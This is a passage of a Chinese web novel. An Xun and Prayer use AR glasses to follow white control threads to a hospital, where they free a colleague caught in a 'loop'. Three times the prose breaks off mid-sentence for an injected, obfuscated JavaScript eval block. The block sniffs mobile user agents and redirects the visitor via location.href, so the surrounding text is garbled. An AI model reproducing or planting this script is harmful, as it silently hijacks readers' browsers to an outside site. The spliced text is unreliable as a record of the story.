按Prayer现在这个鬼哭狼嚎的唱法,感觉真的能驱魔。 “噢……” 奶奶一听,连忙拄着拐加快脚步,“那我可得快点,刚听到说免费什么的,现在去排是不是能领鸡蛋啊……” 安浔:“。” 他正想诚实地告知奶奶不信谣不传谣,却见远处的Prayer已经应粉丝要求,开始原地营业,无比配合地比心拍照。 “Prayer你可以学下小猫叫吗!”前排有个举着手机的女孩激动地高呼。 Prayer戴着墨镜,很酷地摇摇头。 “求你了!Prayer!” 那个女孩双手合十,一边撒娇一边恳求:“呜呜呜我真的粉你好久了!你是最帅最厉害的rapper!在我心里你就是世界第一!求你了求你了!!” 叮! 密码正确。 Prayer此刻的嘴角:“√” 看得出他已经在一声声“世界第一”中迷失自我了。 尽管如此,Prayer还是尽职尽责地走了流程,努力装出一副无奈妥协的模样:“唉,真拿你没办法,就这一次啊。” 随后迫不及待地举起麦克风,显然比谁都期待这一刻的到来: “喵~” 喵…… 喵………… 喵……………… 由于麦克风质量太差,声音甚至带着重复播放般的回响。 轰隆—— 仿佛有一道惊雷从天而降,将安浔轰的外焦里嫩,鸡皮疙瘩起了满身。 安浔:啊啊啊自己人!别开腔!!! 远边的女孩们: “啊啊啊好可爱!!” “我靠我录到了!我要珍藏一辈子!!!” “Prayer我将永远追随你!我好幸福!!” 安浔:“…………” 算了。 感觉不需要提醒了。 一会奶奶就算真去要鸡蛋,Prayer肯定也能给她掏一兜出来。 ——你喊一句第一rapper,他连命都给你。 这里的人实在太多了。 周遭的人群熙熙攘攘,全在讨论着Prayer。 安浔不喜欢这种过分嘈杂的场合,待久了连呼吸都不通畅。他估计Prayer还要孔雀开屏一段时间,准备自己先去检修。 安浔很快根据手机导航找到了电器城,乘坐电梯抵达了三楼。 电器城内的人就少了很多。 但可就可怕在人少。 因为当一个综合式电器城里压根没有客人时,只要突然刷新一个路人,无论是否进店,都会所有门店的推销员施行注目礼,热情招待。 “先生你好,欢迎光临~” “要来店里看看吗,全场活动价九五折哟~” 安浔凭着强大的意志力,从一个个满面笑容的推销员身边走过。等进入自己的目标品牌门店时,后背已经快被冷汗浸湿了。 抖抖抖。 不知是不是太紧张,他的身体开始战栗,甚至有点犯恶心。 ……难道是又犯病了? 他忍着不适,抖着手从衣兜内侧掏出一板药,习惯性地想按下一粒胶囊,却惊觉这板药已经空了! 上午开车时实在太害怕,他直接一口气吞下了一整板。下午再出门时他也没记得拿一板新的,现在已经无药可吃了。 “先生,您是身体不舒服吗?” 很快就有员工注意到了他的不适,满是关怀地走了过来。 “前面有沙发,我扶您过去休息吧?” 安浔:“没、没事。” 他小心地避开员工试图扶住他的手,“我有东西需要检修,我……直接去检修师那边坐。” 员工点点头:“好的,那我给您倒杯水。” 安浔走向检修咨询点。 桌子对面坐着个头发半白的师傅,看面相感觉经验丰富,一定很靠谱。 “你、你好。” 安浔坐到师傅对面,拘谨地拉开双肩包,翻出一直小心保留的AI桌宠包装盒。 小圆昏厥过去之后,他就把小圆放回了包装盒里。此刻包装盒被他开启,里面又弹出一对duangduang摇晃着的小猫耳。 “那个……麻烦您看一下。” 安浔把包装盒推到桌子的另一边,小声道:“今天突然漏液很严重,现在已经关机了。” 对面的老师傅低头瞅了瞅盒子内,很专业地戴上手套,挑着眉把小圆捧了出来。 “小兄弟,你这……” 师傅左右端详了一会,表情一言难尽起来,“这好像不是在我们家买的吧?我们品牌没有这种型号啊。” 安浔愣了愣。 他随即翻出购买票据和保修证明,“都在这里了。我是网购的,但听说可以线下维修,所以才来这。” 师傅抬手戳了戳毫无动静的小圆,在它柔软的皮肤上按下了几个坑,眉头随之拧的更紧了。 “小兄弟,你见过哪个机器人搞这么软的材质啊?” 师傅哭笑不得起来:“那里面的零部件根本就放不住,运行不了的哩!我都干这行五六年了,愣是半天没找到维修接口。” 安浔的脸色逐渐苍白。 “但是……” 他正欲辩驳,却见刚才招待他的员工递来一个一次性纸杯。 “先生,给你接的热水。” “……谢谢。” 安浔接过水杯,下意识地想喝一口。但水快到嘴边时,他的余光却瞥到了一抹深黑色。 “!”安浔手一顿,触电般撤开水杯。 只见一次性纸杯里,盛满了乌漆嘛黑的溶液,像浓稠的墨汁。隔着纸杯还能感受到有点烫手的温度。 安浔:“?” 这什么? 他不可思议地看向那名员工,却见对方礼貌地颔首:“先生您慢慢喝,不够我可以再帮您倒。” 喝什么? 喝这个!? 他惊恐地盯着纸杯,手腕如患帕金森般疯狂抖动,杯中的液体被惊起一圈圈漆黑的涟漪。 “……” 安浔悻悻地把水往桌边一推,沉默了一会,还是没忍住问道:“这……真的能喝吗?” 那名员工愣了愣,像是不明白他在说什么。 “这是白开水啊,先生。当然能喝了。” ……白开水? 这水到底哪里和“白”沾边啊? 安浔抽搐着嘴角,又朝杯中看去—— 咕噜噜。 水面甚至冒出一片诡异的气泡,看着更像什么剧毒药品了! 但这员工态度坦然,似乎完全不认为这有什么问题。 安浔:“……” “那你喝一口看看呢?” 下一秒。 那员工竟二话不说,举起水杯就一口饮下! 吞咽的声音非常清晰,证明他确实把水咽下去了。喝完后又像在极力证明着什么,朝安浔咧开嘴—— 大牙一呲。 两排牙全变成了黑色。 嘴边还向下滴落着黑水,像在吐血。 “您看。”员工的笑容乌漆嘛黑,“没有问题的。” “……” 安浔被惊的说不出话来。 接着,他意识到了什么,果断摘下墨镜确认——员工的牙果然变回了洁白健康的状态。 安浔再戴上。 牙齿又黑了。 摘下。 变白。 戴上。 变黑…… 安浔:“……” 最后他总算确信,这水就是在眼镜里才会变色。而现实中,这不过是杯普通的白开水。 但是,为什么在AR眼镜里,它就变成了浑浊的深黑色? 那名员工收起纸杯。 “先生,这杯我已经喝过了,我给您再接一杯回来?” 安浔抗拒地摇摇头。 不管这水到底有没有问题,他反正是喝不下去了。 那员工没再多问,打了声招呼便识趣地离开了。 这么一遭过去,安浔反而冷静了不少,连社恐的症状都有所缓解。 他好整以待,正要和维修师傅继续说话,却听门外的走廊处,传来一道震耳欲聋的闷响: “咚!!!” 好像有什么东西摔在了地上。 维修师傅一听,连忙站起身。 “小兄弟你等我一下啊,我去看看什么情况。” 门外混乱了起来,一群人手忙脚乱地处理着什么。几分钟后,师傅大汗淋漓地赶了回来。 “诶哟!幸亏你刚才没喝水啊!”师傅坐回原位,抽出几张纸擦了擦汗。 “刚才给你接水的小刘中毒了,已经让人搬医院去了。” “这小刘新来的,刚才接错水跑错地方了,进了荒废的仓库。里面那桶水都小半年没换了,长得全是霉菌!” 安浔听得目瞪口呆。 这不是游戏吗? 他下意识地抬手,摸了摸墨镜的镜框,仍旧惊魂未定。 混着有毒物质的水,在他的眼镜里变成了黑色…… 是巧合吗? …… …… 安浔出了电器城。 临离开前,他和师傅再三确认,小圆的确是他在网上购买的商品。也许因为它是非常稀有的盲盒隐藏款,所有师傅才没见过。 师傅被说服了,让安浔留了联系方式,将信将疑地接收了小圆,表示自己会和总店那边确认一下。如果他一个人修不了,会邮寄回总部找更加专业的维修员来调整。 意识到可能要与小圆暂时分别了,安浔有点难过。 但小圆之前漏液时,表现的那么痛苦,尽快维修才是明智之选。 小圆是个机器人。 如果坏掉了、报废了,就等于永远离开了他。 他无法接受小圆永远离开他。 安浔返程去找Prayer。 本以为Prayer也该结束了,没想到居然还在营业。 刚才那位奶奶已经排队到了最前面了,而Prayer竟真的不知从哪给她弄了一兜新鲜的鸡蛋! 安浔看着Prayer身边只增不减的人群,鼓起勇气,尝试着扯开嗓子喊了几遍Prayer。 奈何旁边的妹妹们战斗力太强,他那微不足道的几嗓子像是在给人家当和声。Prayer压根没听见,也没注意到他在现场。 安浔只好掏出手机,给Prayer拨叫微.信电话。 他来东七路街要办的事情已经结束了,Prayer叫他来似乎是为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569274|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了测试AR眼镜,也不知道现在还继不继续了。 电话没打通。 可能现场太吵了,Prayer还是没听见。 安浔看向排在街巷内七拐八拐的队伍,认命地叹了口气。 只好先排队了。 这种公共场合,对安浔来说简直是行刑场。 为了保持镇定,安浔给自己戴上了耳机。排队的过程中,还给Prayer发了几条消息。可惜全都石沉大海,Prayer根本没看手机。 好在,Prayer营业时的效率非常之高。 安浔只排了一刻钟,就获得了和Prayer面对面的机会。 本以为Prayer看见他,会对他有点歉意,起码忏悔几秒给他丢在一边不管不顾的恶行。 结果…… Prayer摘掉墨镜,露出一双惑人的钴蓝色眼眸,看着鬼迷日眼的。他表情有点惊讶,又饱含喜悦: “噢,男粉啊,真稀奇!” “兄弟你想怎么签名?签衣服上?” 安浔:“?” 排了这么半天队找你,你第一句话居然说这个??? 安浔盯着Prayer,头一次感觉如此陌生。 为什么这么说话? 安浔犹豫了几秒,干巴巴地张开嘴:“是不是该走了……” Prayer愣了愣:“走?” 他咧开嘴角,笑得如沐春风:“去哪里?这里挺好的啊,我在这里感觉很幸福。我想永远留在这了。” 安浔:“???” 他不可置信地盯着Prayer,正要继续说点什么,却听排在后面的人不满地催促起来: “喂!你到底签不签名啊,我们还在后面排队呢!” “是啊是啊!”又有人跟着附和,“怎么就你独占Prayer那么长时间!” 后面的人叽叽喳喳地吵嚷着,很快便推搡起来。 安浔被挤的一个踉跄,匆忙间掏出手机,打开和Prayer的聊天页面,示意对方赶紧看消息。 然而Prayer完全没有get到他的暗示。只是微笑着接过手机,视线没在屏幕停留哪怕半秒,反而翻到背面。 Prayer:“签在手机壳上是吗?” 安浔:“……#” 怎么油盐不进啊!! Prayer握着记号笔低下头,熟练地在他的手机壳上签起了艺术字体。 这么一低头,安浔终于发觉到不对劲。 Prayer的后脖颈上,不知为什么,也连上了一根细长的白色丝线。和他在馄饨摊服务员身上见到的,一模一样。 这线到底是什么? 安浔没忍住,抬手朝那根丝线一拽—— 啪。 清脆的一声。 线断开了,像被扯断的琴弦。 正在签名的Prayer手一顿。 他怔愣片刻,连眼神都变清澈了。 “卧槽!” 他惊呼了一声,低头看了过来,“……安浔?” Prayer环顾着周围乌泱泱的人群,目光惊异:“什么情况?怎么突然这么多人??” 安浔:“。” 怎么跟失忆了似的。 “问你自己啊。全是你粉丝。” Prayer的表情一僵。 “草!原来是这样。这也太容易中招了,怪不得没人出去过……” Prayer捂住后脖颈,咬牙切齿地嘀咕起来:“我哪来这么多粉丝!来擎安市好几天了,就你把我认出来了……” “跑吧。”Prayer突然说。 “什么?”安浔愣了愣。 “我说——我们跑!” Prayer一把攥住安浔的手腕,拔腿就跑。 “诶,Prayer!怎么走了!” “别走啊!你还没给我们签名呢!!” 眼见他们要跑路,周围的人立刻上前阻拦。 好在Prayer的力气够大,直接拨开了想挡住他们的人,一溜烟地蹿了出去。 后面的人还在穷追不舍着。 他们几乎挤满了整条街道,寻着Prayer的方向奔跑。路边的小摊被他们掀翻,篮筐中的水果骨碌碌地滚落在地,被一双双脚践踏而过,彻底化作一滩烂泥。 那些人的表情逐渐扭曲起来。 跑动的姿势也越发诡异,双臂无力地四下摇晃,小腿外翻着僵硬摆动,像被操控的提线木偶。 一边跑,他们还一边撕心裂肺地呐喊着: “Prayer!别走!!” “不要离开我们!!!” “Prayer!!我们喜欢你啊——快回来啊!!!!” Prayer连头都没回。 他扯着安浔大步奔跑着,没忍住哽了一下,真情流露道: “我靠,这帮假粉!我更气了!!我什么时候上街能真被粉丝这么追一次!!!” 安浔:“……” 真该把他这不值钱的样拍下来,发网上去。 安浔从来没被这么多人追过。 他跟在后面,跑得有些勉强,匆忙问道:“我们现在去哪!” Prayer:“跟着线的方向跑!” “你仔细看空中的那些丝线,它们的路径方向是一致的,说明有源头在!!” 安浔透过眼镜仔细观察着。 放在以前他散光的时候,肯定看不清这些东西。但昨天喝完鱼汤后,视线变得莫名清晰,他仔细盯着看了一会,这才发现—— 街上的每个人身上,都连着一根丝线。而丝线的一直朝某个方向收束、延伸着…… 最后二人停在了一栋庞大的建筑门口。 擎安市第七人民医院。 所有丝线都聚集在了这里。 31. 那我问你 (31) 一阵极速的奔跑过后,那些狂热粉丝已被远远甩在了后面。 “……呼。” “……累、累死了。” 安浔气喘吁吁地停下脚步。 他唇瓣张开,狼狈地大肆汲取氧气,胸口剧烈地上下浮动着。 反观Prayer,笔直地站在他身边,大气都没喘上一口。 “……这也没跑多远吧?” Prayer盯着他看了会,眉头微蹙,“说真的,你该加强锻炼了。刚才我们也就跑了四五百米。” 哪有社恐热爱运动的! 安浔很想理直气壮地反驳。 他上学那会,体测一千米跑到后半程都是靠爬过去的! 可惜这会累的连说话都费劲,安浔也不觉得自己能成功反驳靠嘴赚钱的人,遂作罢。 调整呼吸的过程中,他半眯着眼睛,抬头打量起这座熟悉的擎安市第七人民医院—— 起初距离七院还很远时,安浔并不太能注意到这些悬浮在空中的白色丝线。 但他越往这边跑,丝线便汇聚的越多,方向也越来越集中。 最开始它们就像头发,杂乱四散、微不可查。现在却收束成了大约排水管的宽度,整齐地延伸进了医院敞开的大门中。 安浔盯着那些收拢的丝线看了一会,直到呼吸逐渐平复,才不确定地发问: “这些丝线是游戏引导吗?……提示我们进医院的意思?” 刚戴上墨镜时,安浔就发现:比起游戏,这个AR眼镜更像一种智能互动装置。眼镜会根据实景即时生成可交互场景,以供人体验。 ……应该是可以交互的吧? 不然怎么解释他刚才一扯,那些丝线就断掉了? 还是带音效的,啪嚓一声非常清脆,像琴弦断裂。搞得跟真的一样。 “……引导?” Prayer默念了一遍,将双臂交叠在胸前,有点感兴趣地看向安浔,“你为什么会这么想?” 安浔:“这些丝线的指向性很明显,不出意外应该是类似‘主线任务’的东西。前面要么有‘副本Boss’,要么有关键性的信息……” 说完他又挠挠头,小声补充: “就……游戏一般不都是这种套路吗?” 严祈明:“……” 过程全错。 但结果全对。 严祈明盯着那些越发茁壮的丝线,掏出随身携带的侵蚀系数勘测仪。 不出所料。 这座医院的侵蚀系数,比他在东七路街街口勘测[茧幕]那道屏障时还要高出一倍之多。 如果他没猜错,这座医院内部,很可能潜藏着[茧幕]的核心。 虽然严祈明曾阅读过蚀体防控中心收录的[茧幕]情报,但那些情报实际上少之又少,连这种蚀体的习性都没有记载。 大约一年前,[茧幕]曾出现在欧洲的某个小国,将一处偏远村庄覆盖。当地清缴者束手无策,没能寻找到攻破茧幕的办法,只能与之僵持着。 但一个月后,那道屏障凭空消失了。 茧幕消失的非常突然,没人知道那么大的高阶蚀体是如何在一夜之间销声匿迹的。 而那座被覆盖的村落中,一共32户人,全都死了。 他们并非死于蚀体的攻击。 而是死于自相残杀。 正值春季,村落内的农田刚撒上新种子,还没发芽。 茧幕的屏障导致村民们无法远行,于是他们只能依靠冬天剩下的余粮生存。可那些食物远远不够这么多人分食,它们起初齐心协力、彼此鼓舞,坚信他们一定能渡过难关。 但在食物只够挨家挨户撑三天时,终于有人将刀刃指向了自己的邻居。 严祈明深吸了一口气。 “我们进去吧。”他的目光逐渐凝重,“看看医院里面有什么。” 安浔:“。” 医院里面能有什么? 人啊。 好多。好多。好多人啊! 安浔望着安检口鱼贯而入的人群,目光也跟着凝重了起来。 上次来医院,他就是因为在安检口犹豫不决,才会被人催促。但今时不同往日,他的社恐已经出现了好转的迹象,这次他一定要—— “喂,你们进不进啊?别堵门口。”身后传来了不满的敦促声。 安浔:“?” 怎么感觉这个场景有点熟悉。 他扭头看了看,只见一个背着斜挎包的大爷正不耐烦地盯着他。 “看什么看?”大爷扯着嗓子,“快点的啊,后面排队呢!” 安浔琢磨了一会。 上次来医院时,好像也有人这么催他进门。只是当时他实在太紧张了,连回头的勇气都没有,完全不记得对方长什么样。 但听大爷的语气……又感觉有点像。 难道真是上次的人? 这么巧……过来复诊的吗? “哦哦,好的好的。”安浔礼貌地应了一声,快步走向了安检口。 这次他没有犹豫,所以没有吸引安保的注意。 进入医院大厅后,安浔发现那些白色丝线变得更加密集了。它们纠缠交错在大厅上空,犹如一团乱麻,但反倒看不清丝线的走向了。 “能看见吧?” Prayer抬手指指上面,“我们要去找这些线的‘源头’。” 安浔盯着那些线看了一会,毫无头绪。 “这怎么找?” 他挠挠头,为难道:“感觉每层都有线,根本看不出源头在哪里……” “那就地毯式搜索。”Prayer说。 “这家医院的规模不大,这样最简单,也最有效。” 他们从一楼大厅开始检查。 路过自助挂号机时,安浔思考了半秒,最后还会决定给自己挂个号。 距离上次看病,也快过去小一周了。 来都来了,干脆复诊好了。一定要让林医生发现他的变化! 他们循着分散的白线一路搜索着,一楼所有能进的公共区域都走了个遍。 “好像不在一楼。” 安浔看向身边的男人,“再上一层?” Prayer点点头。 二楼是心血管科和内分泌科。 他们从走廊经过时,几名护士推着担架床急匆匆地跑过。 杂乱的脚步声和车轮骨碌碌的滚动声交错,场面紧张而焦心。 为了不影响他们行动,安浔自觉地侧身避让。 担架床从他的身边滑过过,他注意到,病床上奄奄一息的老人头顶,盘旋着一只乌鸦。 嘎—— 嘎—— 那只乌鸦寸步不离担架床,无论护士们跑得有多快,都始终在老人的头顶打转。 “他快要离开了。” 一旁的Prayer注视着逐渐被推远的老人。 “[丧鸣],那是死亡的象征。有时会出现在将死之人的头顶,陪他们走完最后一程。” 安浔盯着看了一会。 他把墨镜摘下,又仔细确认了一下。 摘下眼镜后就看不到了。 安浔:“……那个。” 他重新戴上墨镜,小心翼翼地确认:“你说的是游戏设定,对吧?” Prayer笑了笑。 没点头也没摇头。 接着他们又去了三楼。 这里奇形怪状的异象更多了。 比如有个头顶缠着绷带的病人正双目放空,坐在长椅上发呆。那圈绷带上还有一群指甲大小,造型很像神经元的东西在蹦迪。 Prayer:“这个磕坏脑子了。” 隔壁还有个坐轮椅的病人,右腿的膝盖上趴着一只像煤炭般的黑球,正在吐出黑红色的泡泡。 Prayer:“这个是膝盖积液。好可怜,严重到完全站不起来了。” 他们又路过一个病人。 Prayer:“这个是……” “等等。”安浔打断了他。 他抬手指了指自己的眼镜,不可思议道:“你确定这是AR眼镜,不是死亡摄像?怎么看谁谁有病啊??” “没那么夸张。” Prayer神情淡定地往那一站。 “那你看我呢?” “我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569275|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很健康吗?身上什么都没有。” 安浔:“也不是……” “就你刚才说话的功夫,我看你腰那块突然多了几根藤蔓。”他在微妙的地方停顿了一下,“这是不是意味着,你的肾……” “!”Prayer惊慌地低头。 并发现自己外套上对应腰子的位置,真的悄无声息地绕上了一小截的枯萎的藤蔓。连上方的叶子都干巴巴的,脆弱到仿佛一摇就会掉落。 “…………” 沉默漫长到堪达一个世纪。 Prayer破防地一把扯下藤蔓,又像泄愤似的用手碾了碾。直到把那截藤蔓彻底碾碎,才嫌弃地往旁边的垃圾桶一丢。 “我回去早点睡觉就好了。” 他呢喃着:“我还这么年轻,肾脏不出问题的。绝对不会的。” 安浔:“嗯……平时可以吃点生蚝甲鱼什么的。” Prayer:“我不。” 安浔:“我好像……” Prayer:“我不需要!” “不是。” 安浔朝不远处某个正在排队的候诊室探了探头,“我是说,我好像看见我同事了……” Prayer当即警觉地抬起头:“你哪个同事?” 安浔又朝那个方向瞄了几眼,最后笃定道:“程蔼。” 人对自己的名字总是很敏感。 明明间隔数米距离,医院还有些嘈杂。 但站在候诊室门前的队列中,戴着骚包黑框眼镜的男人还是警觉地抬起头。 当程蔼的目光与安浔交汇时,他瞬间睁大双目。。 但安浔并未察觉到这些异样。 程蔼因为感冒连请两天假了,估计今天是来医院看病的,在医院撞见也不奇怪。 安浔犹豫了一会,觉得还是打个招呼比较礼貌。 他有点拘谨地抬起手,正试图友善地挥一挥,却见程蔼头也不回地拔腿就跑! 安浔:“?” Prayer当即道:“追上去!!!” 安浔不明白自己为什么要去追同事,但Prayer已经一个箭步飞快地俯冲了过去,他只好一头雾水地跟上。 不远处,程蔼踉踉跄跄地奔跑着,接连撞到了好几个医护人员。 其中一个护士大声提醒:“诶——医院里不能乱跑啊!” 安浔从护士身边,连忙鞠躬向她道歉:“不不不好意思,我去和他们说!” 等他小跑着跟上时,发现程蔼已经四仰八叉地被Prayer摁在了地上。 Prayer以一种极为专业的擒拿姿势,将程蔼牢牢地桎梏在原地。任他如何挣扎,也都于事无补。 “总算让我逮住你了。”Prayer冷笑着,“说,你进东七路街的目的是什么——” 程蔼在下面疼得龇牙咧嘴。 他看见安浔跑了过来,这才拧巴着脸低吼道:“安浔,这特么谁啊?你朋友!?” 安浔磕磕巴巴地:“呃……好像。是吧。” 程蔼气的脸红脖子粗,浑身都在发抖。 “那你愣着干什么!” “让他起来啊!操!我和他都没见过,上来就一脚给我踹地上了。有毛病吧——” Prayer完全没有要动的架势,而是平静地反问:“那我问你。你跑什么?” 程蔼:“我……!” 他张了张嘴,欲言又止。 Prayer冷笑了一声,步步紧逼:“说话啊。为什么跑?” 程蔼紧紧咬住下唇。 他不再继续挣扎,而是抖着声音,耻辱地小声回答:“你们……要不看我刚才在什么地方排队呢?” 安浔和Prayer一同扭过头。 只见不远处的科室指示牌上,洋洋洒洒写着两个大字—— 男科。 安浔:“……” Prayer:“……” 嗯…… 安浔设身处地地思考了一下。 如果是他看这种病时,突然撞到了同事,那大概已经不是逃跑了。 他会直接从窗户跳出去。 哈哈。 32. 我医 (32) 严祈明静默了半分钟。 他重新审视起地面上的男人。 5月30日下午,程蔼的车子确实驶入了东七路街。 而就严祈明所知,每个闯入这条街的人,都会被一种白色丝线连接。那丝线在防控中心的档案上并没有相关记载,但严祈明亲自体验了一遭,隐约能明白是怎么回事—— 凡是在这座街巷内产生“留恋”之情的人,都会被丝线趁虚而入,接入体内,沦为被[茧幕]操控的傀儡。 这个过程,像是一种不完全的蚀体寄生。 他第一次见到安浔时,安浔就神神叨叨地和他讲,有个乞丐说:这条街里的人们陷入了“循环”。 可见这些被丝线控制的傀儡还缺乏主体性。 类似于本人已经掉线了,只剩个不够聪明的AI在挂机,仅能一昧地模仿本人性格,机械而僵硬地重复他前一天做过的事。 ——那个所谓的“循环”,大概就是如此。 那眼前这个程蔼…… 其实是5月30日来看病,已经陷入“循环”的程蔼? 起初严祈明还以为这个“程蔼”和安浔一样,有着可以自由出入茧幕、麟溪山上的白雾……这些领域型蚀体的方法。 但事实好像并非如此。 5月30日进入东七路街的程蔼,和后来出现在安浔单位的“程蔼”……或许根本不是一个人! 有人,或者是蚀体……扮成了“程蔼”的模样,混入了墓园之中。 得出这个推论,严祈明的背脊发凉。 恍惚之间,他又想起了溯魂那天提供的口供—— 麟溪山乃至擎安市内的蚀体,都是人为投放的。 而投放者,就是那个“假程蔼”! 他的目光落向安浔,虽然墨镜遮住了安浔的眼睛,但还是能通过唇部的变化来判断—— 安浔大概也发现了一些异样。 安浔:“……” 其实不然。 安浔并没发现什么异样。只是别人的社死来的轻而易举,他下意识地代入其中,替别人尴尬的老毛病又犯了。 呃呃呃(痛苦) 啊啊啊(尖叫) 救命啊救命啊救命啊! 早知道就不喊程蔼了。 这都办的什么事啊,他也太不注意场合了!但凡多看一眼程蔼排队问诊的科室,事情也不至于落到这一步啊!! 安浔的嘴角抽搐着。 一时之间,他的大脑飞速运转,试图说些话来和缓气氛: “没、没关系,程哥。” 他鼓起勇气,竭尽全力地安慰道:“之前你不是也看过我的……呃,视频吗。算咱俩抵消了,我也不会和别人说今天这件事的。” “什么视频?” “什么视频?” Prayer和程蔼几乎同时发问。 安浔:“……” 气氛,好像更古怪了。 虽然他很想解释。但再说下去,他就要当场表演个阴暗地满地乱爬了。 他朝程蔼暗示似的眨了眨眼,一想到这茬事脸就憋得通红,只得支支吾吾道:“就,那个……你懂的。” Prayer:“?” 程蔼:“?” 到底什么视频!?? “行了!” 程蔼不耐烦地打断了他们,态度恶劣地低吼着:“我管你们这那的,赶紧让我起来!” Prayer正准备卸力放人,却听安浔突然道:“那个,先等一下……” 透过墨镜。 安浔在程蔼的脖颈处,也看见了一根细长的白色丝线。 刚才Prayer变得有点奇怪时,脖子上就连着一根这样的线。 虽然那好像只是游戏生成的虚拟物,但不知是不是心理作用。他一扯,Prayer好像就恢复正常了。 现在这个程蔼不知道为什么,给安浔的感觉也怪怪的。 最近他们在单位时相处的不是还算友善吗?又给他接水,又给他盖被的,阮姐问监控的事时还一个人扛下了所有。 ……怎么程蔼现在,身上又充满了过去讨人嫌的虾头感? 不管了。 扯一下试试! 啪。 又是一道脆响。 白色的丝线应声断裂。 地上的程蔼停顿了一下。 就像被按下暂停键的机器。他不再挣扎,眼神逐渐失焦,表情也变得茫然了起来。 隔了好一会,程蔼才僵硬地转动起眼珠。 像是才意识到自己置身何地,他惊恐地大叫起来: “这是在哪!” “……我不是在看病吗!?” 安浔:“?” 怎么真的有种记忆被刷新了的感觉? 程蔼的视线四下游移着,脸色苍白: “医生!……医生!” “我今晚和我的三个女朋友还有约会,我这情况到底能不能治好啊!再这样下去我今晚一定会……医生!救救我啊!!!” 安浔:“。” 他后悔了。 不小心听到这么多,不会被灭口吧? 安浔正要讲话,却见一根白色的丝线,又悄然落在了程蔼的脖颈。 程蔼又不动了。 隔了几秒,他再次抬起头,拧巴着脸朝他和Prayer吼叫:“我管你们这那的,赶紧让我起来!” 安浔:“?” 怎么又出来一根丝线? 啪。 安浔伸手,再次扯断。 程蔼瞬间变回惊恐脆弱的神情:“……医生!救救我!” 但很快,丝线又复原了。 程蔼:“我管你们这那的,赶紧……” 啪。安浔扯。 程蔼:“医生!救救我!” 啪。 啪。 啪。 啪。 丝线就这么如是往复,被安浔一次又一次地扯断。 但无论安浔怎么扯,那根线都藕断丝连般,只要一断开,就会立马复原。 而程蔼也像卡带的人机,只会复读那两句话: “我管你们这那……” “医生,救救我!” “我管你……” “医生……” “我。” “医。” 这时,旁边恰好路过了一名打扮妖娆的男生。 他瞅瞅地上的程蔼,将涂满粉红指甲油的手捂在嘴前,悄悄嗤笑了一声,和旁边的好闺蜜蛐蛐道: “大言不惭。这看着哪像1啊。” Prayer:“……” 安浔:“……” 在程蔼第N遍要求他们让开时,严祈明实在看不下去了,按住了安浔蠢蠢欲动的手。 严祈明:“……别再拽了。” 再这么大小号互顶下去,他真怕安浔给他同事玩坏了。 严祈明低头盯着那根丝线,试着用指尖轻勾。 滋——啦—— 一阵令人牙酸的声响。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16569276|187026||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那根丝线上冒起一阵警告般的乳白色烟雾,释放出的滚烫热气险些将严祈明灼伤。 他只得收回手去,悻悻作罢。 这根线,他根本无法徒手扯断。 又是这样。 他沉默着抬眼,再度投以安浔复杂的眼神。 ……为什么那根线一到安浔手里,就变得软绵绵的,毫无攻击性? 最后他们给程蔼放走了。 程蔼并没有走远,只是怒气冲冲地回到男科科室,大喇喇朝队列里一站,一副“老子就是看男科,那咋了”的无赖模样。 严祈明特意多观察了一会。 重新融入“循环”后,程蔼的表现没有异常,满心只想着看病。 看起来…… 这确实不是他要找的“程蔼”。 安浔也在盯着程蔼看。 之前他就听阮姐提过一嘴程蔼私下生活里玩的很花,还和一些客户……关系亲密。但他没有嚼人舌根的习惯,不敢妄自多言。 “那个……我们走吧?” 他扭头看看Prayer,“这层好像也没有‘源头’?” Prayer点点头:“去四楼。” 安浔上次来七院看病时,就是来的四楼心理科。他今天在大厅顺手挂了号,准备到这里时再复诊一下。 “好像快轮到我了。” 安浔看了一眼叫号牌上,发现自己的名字已经排在了最前头。 “我先去看下医生,我们一会再继续?”他指了指墨镜,向Prayer征求着意见。 Prayer果断道:“我陪你去,就在问诊室门口等你。” 安浔点点头。 没过几分钟,他就在广播中听到了自己的名字:“请404号病人安浔,前往6号就诊室就诊。” 闻声,他们一起走向就诊室。 Prayer就靠在了问诊室门边的墙壁处,将双臂交叠在胸前。 “里面如果出现什么问题了,随时叫我。” 啊…… 只是复诊一下,应该不会出现什么问题吧? 安浔感觉自己现在的状态,还挺好的。 安浔挠挠头,虽然有点疑惑,但还是礼貌地回应:“好的,谢谢你。” 吱呀—— 沉重的金属大门徐徐展开,安浔走入了就诊室。 大门又被关上了。 这种心理科的问诊,为了让患者身心放松,医生通常都会保持环境的私密性与安静性。严祈明看不见里面的情况,只能担忧地靠在门边。 ……应该没问题吧? 